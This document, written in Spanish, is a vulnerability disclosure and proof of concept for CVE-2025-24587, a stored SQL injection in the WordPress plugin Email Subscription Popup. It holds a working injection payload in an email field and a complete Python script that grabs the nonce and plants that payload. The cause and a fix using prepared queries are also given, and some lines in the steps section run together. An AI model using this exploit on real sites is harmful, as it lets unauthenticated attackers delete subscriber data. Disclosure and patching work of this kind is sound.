
PoC de CVE-2025-24587
Plugin de WordPress
Nombre del componente Email Subscription Popup
Versión vulnerable <= 1.2.23
Slug del componente email-subscribe
Enlace del componente https://wordpress.org/plugins/email-subscribe/
Clase de vulnerabilidad A3: Inyección
Tipo de vulnerabilidad Inyección SQL
Sin autenticación
Un usuario no autorizado (atacante) se suscribe al boletín usando una dirección de correo electrónico que contiene un payload de Inyección SQL. Más tarde, cuando el administrador navega a la página "Gestión de Suscriptores", selecciona la dirección de correo maliciosa y solicita la eliminación, el payload de Inyección SQL incrustado en la dirección de correo se ejecuta. Como resultado, todas las direcciones de correo suscritas se eliminan de la base de datos.
poc.py.txt (adjunto) usando Python para suscribirse al boletín con una dirección de correo que contenga un payload que desencadene la vulnerabilidad de Inyección SQL:
'/**/OR/**/1=1#@a.ahttp://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.'/****/**OR**/****/1=1#@a.a y haga clic en el botón "Eliminar suscriptores seleccionados" en la parte inferior.[Causa de la Vulnerabilidad]
Esta vulnerabilidad ocurre en el archivo wp-content/plugins/email-subscribe/wp-email-subscription.php, específicamente entre las líneas 2080 y 2084:
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의
# line 2083 ~ line 2084
$query = "delete from " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);
Para resolver este problema, puede usar $wpdb->prepare() proporcionado por WordPress. Esta función escapa y formatea de forma segura las variables utilizadas en las consultas SQL para prevenir ataques de inyección SQL.
$query = $wpdb->prepare(
"DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
$em
);
$wpdb->query($query);
import re
import string
import random
import requests
TARGET = "http://localhost:8080"
def poc():
####
# 1. Retrieve the value of 'sec_string' required for email subscription
####
resp = requests.get(f"{TARGET}")
pattern = r'var nonce = \'(.{10})\';'
match = re.search(pattern, resp.text)
if match:
sec_string = match.group(1)
print("[*] sec_string: " + sec_string)
####
# 2. Generate subscribers with random email addresses
####
random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
for i in range(10):
data = {
"action": "store_email",
"email": f"{random_string}_{i}@example.com",
"name": f"{random_string}_{i}",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
####
# 3. Create a malicious email address to delete all subscriptions
####
data = {
"action": "store_email",
"email": "'/**/OR/**/1=1#@a.a",
"name": "Email mine",
"is_agreed": "true",
"sec_string": sec_string
}
print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
else:
print("[-] 'sec_string' not found")
if __name__ == "__main__":
poc()